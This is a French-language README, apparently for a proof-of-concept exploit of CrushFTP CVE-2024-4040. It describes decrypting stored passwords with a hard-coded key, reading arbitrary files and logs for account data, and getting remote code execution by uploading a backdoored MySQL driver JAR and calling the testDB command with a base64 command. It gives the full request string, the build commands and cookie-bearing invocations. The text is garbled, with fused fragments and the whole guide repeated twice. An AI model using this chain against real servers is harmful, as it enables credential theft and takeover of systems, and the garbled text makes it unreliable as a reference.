
CVE-2024-4040 PoC
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py et decrypt.java pour obtenir et déchiffrer le mot de passe. En résumé, la clé est codée en dur, donc vous pouvez la déchiffrer et lire des fichiers arbitrairement.crushadmin n'existe pas, vous pouvez essayer de récupérer CrushFTP.log, qui contient des informations de compte.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java pour le déchiffrer.--shell permet de voir facilement les résultats après RCE. Après avoir téléchargé le fichier jar via la méthode ci-dessous, spécifiez --jar-path et --headers pour voir le résultat de l'exécution de la commande.
--headers doit inclure le Cookie de connexion, par exemple : --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path est /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. S'il se trouve à un emplacement différent, assurez-vous de spécifier le chemin. Les chemins relatifs fonctionnent théoriquement, mais les chemins absolus sont recommandés.
User Manager, cliquez sur l'utilisateur à gauche, faites glisser le dossier que vous souhaitez mapper vers User's Stuff, puis ajustez les permissions. Assurez-vous que l'option de téléchargement (upload) est cochée.


testDB qui permet de spécifier un fichier jar et un objet driver, et comme vous pouvez télécharger, combiner les deux permet d'obtenir un RCE.command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user pour l'exécuter.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
exploit.py et decrypt.java pour obtenir et déchiffrer le mot de passe. La clé est codée en dur, donc vous pouvez la déchiffrer et lire des fichiers arbitrairement.crushadmin, n'existe pas, vous pouvez essayer de récupérer CrushFTP.log pour obtenir des informations de compte.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java pour le déchiffrer.--shell permet de visualiser facilement les résultats après RCE. Après avoir téléchargé le fichier JAR en utilisant la méthode suivante, spécifiez --jar-path et --headers pour voir le résultat de l'exécution de la commande :
--headers doit inclure le Cookie de connexion, par exemple : --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path est /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. S'il se trouve à un emplacement différent, assurez-vous de spécifier le chemin. Les chemins relatifs fonctionnent théoriquement mais les chemins absolus sont recommandés.
User Manager, cliquez sur l'utilisateur à gauche, faites glisser le dossier que vous souhaitez mapper vers User's Stuff, et enfin ajustez les permissions. Assurez-vous que l'option de téléchargement (upload) est cochée.


testDB où vous pouvez spécifier le fichier JAR et l'objet driver, et comme vous pouvez télécharger, en combinant les deux vous obtenez un RCE.command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user pour l'exécuter.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"